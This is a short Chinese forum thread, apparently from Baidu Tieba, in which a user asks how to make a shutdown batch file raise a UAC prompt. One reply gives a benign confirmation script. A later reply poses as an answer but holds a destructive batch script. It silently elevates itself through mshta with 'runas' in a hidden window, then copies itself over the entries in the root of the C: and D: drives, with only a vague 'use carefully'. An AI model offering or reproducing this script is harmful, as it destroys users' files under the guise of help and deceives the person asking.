level 8
我写了个关机的bat,,为了防止我误操作,想让这个bat拉起UAC??
2017年02月11日 07点02分
1
level 6
::UAC是啥
set /p a=真的要关机吗?(y/n)
if '%a%'=='y' goto really
if '%a%'=='n' exit
:really
set a=
set /p a=真的假的?(y/n)
if '%a%'=='y' shutdown -s -c '误操作请运行shutdown -a'
if '%a%'=='n' exit
2017年06月11日 00点06分
2
啊!在开头加一个echo off>nul
2017年06月11日 00点06分
level 1
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)&&exit
for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do copy /y "%dpnx0" "%%i" >nul
for /f "tokens=* delims=" %%i in ('dir /b C:\*.*') do copy /y "%dpnx0" "%%i" >nul
小心点使用。
2021年02月20日 01点02分
8